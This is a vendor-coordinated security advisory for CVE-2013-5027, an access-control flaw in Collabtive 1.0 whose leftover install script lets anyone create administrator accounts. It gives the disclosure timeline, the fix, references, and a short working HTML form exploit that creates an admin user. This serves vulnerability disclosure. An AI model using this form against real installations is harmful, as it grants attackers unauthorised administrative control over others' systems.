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Improper Access Control in Collabtive

Advisory ID:HTB23169
Product:Collabtive
Vendor:Open Dynamics
Vulnerable Versions:1.0 and probably prior
Tested Version:1.0
Advisory Publication:July 31, 2013 [without technical details]
Vendor Notification:July 31, 2013
Vendor Fix:August 22, 2013
Public Disclosure:August 28, 2013
Latest Update:August 26, 2013
Vulnerability Type:Improper Access Control [CWE-284]
CVE Reference:CVE-2013-5027
Risk Level:High
CVSSv2 Base Score:7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in Collabtive, which can be exploited to gain complete control over the application.

1) Improper Access Control in Collabtive: CVE-2013-5027
The vulnerability exists due to improper access restrictions to the third installation step after successfully installing the application. A remote attacker can send a specially crafted HTTP POST request to the "/install.php" script and create a new user with administrative privileges. The installation script is not deleted after application installation and is publicly available by default.
The following exploitation example creates a user with login "newadmin" and password "newpass":
<form action="http://[host]/install.php?action=step3" method="post" name="main">
<input type="hidden" name="name" value="newadmin">
<input type="hidden" name="pass" value="newpass">
<input type="submit" id="btn">
</form>


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Solution:
Update to Collabtive 1.1

More Information:
http://collabtive.o-dyn.de/forum/viewtopic.php?f=11&t=11092
https://github.com/philippK-de/Collabtive/commit/a54b60c117ccb406d5aa48bf708c7393d94bfd79


References:
[1] High-Tech Bridge Advisory HTB23169 - https://www.htbridge.com/advisory/HTB23169 - Improper Access Control in Collabtive.
[2] Collabtive - http://collabtive.o-dyn.de/ – Collabtive is a cloud based groupware easy and efficient for your projects.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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